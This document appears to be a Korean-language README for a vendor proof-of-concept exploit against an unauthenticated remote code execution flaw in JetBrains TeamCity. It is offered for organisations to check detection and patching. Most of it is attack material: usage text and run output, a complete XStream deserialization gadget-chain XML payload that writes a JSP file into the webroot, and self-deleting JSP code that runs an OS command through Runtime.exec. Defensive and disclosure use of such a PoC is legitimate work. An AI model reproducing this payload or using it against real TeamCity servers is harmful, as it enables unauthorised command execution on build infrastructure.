
인증되지 않은 JetBrains TeamCity 원격 코드 실행 (CVE-2026-63077)
이 스크립트는 CVE-2026-63077에 대한 개념 증명(PoC) 익스플로잇입니다. 조직은 이 스크립트를 사용하여 탐지 및 패치 적용 현황을 검증할 수 있습니다.
CVE-2026-63077에 대한 전체 기술 분석은 Rapid7 분석 문서를 참조하십시오.
$ python3 CVE-2026-63077.py --help
usage: CVE-2026-63077.py [-h] [--cmd CMD] [--webroot-relative WEBROOT_RELATIVE] [--dump-payload DUMP_PAYLOAD] [--response-out RESPONSE_OUT] [--http-timeout HTTP_TIMEOUT] base_url
positional arguments:
base_url TeamCity base URL, for example http://192.168.86.171:8111
options:
-h, --help show this help message and exit
--cmd CMD operating-system command passed to Runtime.exec() (default: notepad.exe)
--webroot-relative WEBROOT_RELATIVE
TeamCity webroot relative to HSQLDB's process working directory (default: ../webapps/ROOT for the stock Windows installation)
--dump-payload DUMP_PAYLOAD
optional path for the generated XML payload
--response-out RESPONSE_OUT
optional path for the final JSP response body
--http-timeout HTTP_TIMEOUT
timeout in seconds for each HTTP request
$ python3 CVE-2026-63077.py --cmd "notepad.exe" http://192.168.86.171:8111
=======================================================================================
Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)
=======================================================================================
[+] Targeting: http://192.168.86.171:8111
[+] Registering session: /app/agents/v1/register returned session 81:098323b2a2366471360bf6369a374eee
[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP 500
[+] Triggering JSPWS payload: /ceeed88f41d1.jspws returned HTTP 200
[+] Command executed: notepad.exe
다음은 이 익스플로잇에서 사용하는 XStream 가젯 체인의 예시입니다. 이 체인은 폴리글롯(Polyglot) SQL/JSP 파일을 디스크에 기록한 다음, 기록된 파일에 대한 GET 요청이 발생하면 RCE가 달성됩니다.
<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>ddb3d64cfab4</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo>
<maxTotal>8</maxTotal>
<maxIdle>8</maxIdle>
<minIdle>0</minIdle>
<initialSize>0</initialSize>
<maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate>
<testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn>
<timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle>
<password/>
<url>jdbc:hsqldb:mem:e4463d436a0a</url>
<userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>CREATE TABLE IF NOT EXISTS TAB5C7787B386(C5084422879AC VARCHAR(4000))</string>
<string>INSERT INTO TAB5C7787B386 VALUES ('<% if (application.getAttribute("010906e89631") == null) { application.setAttribute( "010906e89631", java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath("/8e015de190fe.jspws") ) ); java.lang.Runtime.getRuntime().exec("notepad.exe"); out.print("e63504e0601d"); } %>')</string>
<string>SCRIPT '../webapps/ROOT/8e015de190fe.jspws'</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
<logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn>
<rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation>
<connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped>
<myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>95033392cf88</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel>
<exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major>
<minor>3</minor>
<micro>0</micro>
<intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue>
<hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
<shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/>
<cache/>
<cacheClassNames/>
<classIntrospectionsInProgress/>
<modelFactories/>
<clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<writeProtected>false</writeProtected>
<defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems>
<simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict>
<preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>ca89881ab2ce</string>
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
</entry>
</linked-hash-map>
드롭된 JSPWS 파일에는 OS 명령을 실행한 후 스스로를 삭제하기 위한 다음 내용이 포함됩니다.
if (application.getAttribute("010906e89631") == null) {
application.setAttribute("010906e89631", java.lang.Boolean.TRUE);
java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("/8e015de190fe.jspws")));
java.lang.Runtime.getRuntime().exec("notepad.exe");
out.print("e63504e0601d");
}